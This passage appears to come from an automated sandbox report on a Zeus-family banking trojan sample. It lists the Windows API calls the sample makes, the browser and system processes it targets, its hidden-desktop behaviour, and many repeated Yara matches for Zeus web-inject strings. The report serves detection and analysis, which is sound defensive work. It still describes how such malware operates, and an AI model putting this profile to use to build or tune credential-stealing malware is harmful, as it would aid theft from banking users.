A,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe16_2_010B6CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe16_2_010B6CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetCommandLineA,StrStrIA,memset,#680,LoadLibraryExA,GetProcAddress,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,strstr,strstr,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree, \iexplore.exe16_2_010B1900
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex16_2_010A3610
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex16_2_010A3610
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex16_2_010A3610
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_026F95B0 CreateDesktopA,SetThreadDesktop,memset,SHGetFolderPathA,PathAppendA,CreateProcessA,GetShellWindow,GetShellWindow,Sleep,Sleep,GetShellWindow,GetHandleInformation,CloseHandle,GetHandleInformation,CloseHandle,GetDesktopWindow,FindWindowA,RegisterWindowMessageA,CreateThread,GetHandleInformation,CloseHandle,SetThreadDesktop,memset,SHGetFolderPathA,PathAppendA,CreateProcessA,GetShellWindow,GetShellWindow,Sleep,Sleep,GetShellWindow,GetHandleInformation,GetHandleInformation,CloseHandle,GetHandleInformation,CloseHandle,GetDesktopWindow,FindWindowA,CreateThread,GetHandleInformation,CloseHandle,SetEvent,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,5_2_026F95B0

    System Summary

    barindex
    Malicious sample detected (through community Yara rule)
    Source: 23.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.1200000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.63.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.77.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.55.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.54.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.889400.0.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 19.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2572000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 19.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2572000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.f2c0000.53.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.85.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.76.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.62.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.80.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 33.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.22d2000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.68.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.63.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.88a000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.73.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.42.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.59.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.71.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 37.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.3082000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.61.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.81.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.61.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.85.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.884000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.89.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.67.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 16.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.1042000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.49.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 35.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2870000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 0.2.1fWgBXPgiT.exe.406400.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 16.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.10a0000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.88.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 37.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.3082000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 0.2.1fWgBXPgiT.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.84.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.48.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.83.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.70.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 21.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.e80000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 9.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.26a0000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 5.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.26f0000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 6.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.b10000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.55.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 31.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2990000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.56.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.f2c0000.53.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.88.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.40.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 13.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.22c0000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 13.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.22c0000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2500000.6.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 27.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.1412000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.82.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.58.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 6.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.b10000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 9.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.23f2000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.46.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 31.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2832000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 0.3.1fWgBXPgiT.exe.63d978.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 5.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.c12000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 39.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.26e0000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 37.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.3230000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 0.2.1fWgBXPgiT.exe.407000.0.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 6.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.ab2000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 13.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2262000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 37.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.3230000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.66.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.45.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 33.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.22d2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.86.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.48.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.45.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.64.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.40.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.66.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.60.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.52.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.42.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.f2c0000.51.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 23.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.11a2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.62.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.f2c0000.51.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2500000.6.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 5.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.c12000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.50.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 39.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2582000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 13.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2262000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.4f00000.44.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 23.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.11a2000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 31.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2990000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.70.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.884000.4.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 27.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.1412000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 31.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2832000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.78.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.65.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 35.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.26d2000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.87.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.80.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.86.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.65.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 29.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.2fc2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 29.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.3160000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 25.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.28c0000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.47.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.79.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.2700000.41.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 1.3.svchost.exe.d200000.81.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
    Source: 23.2.OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe.1200000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
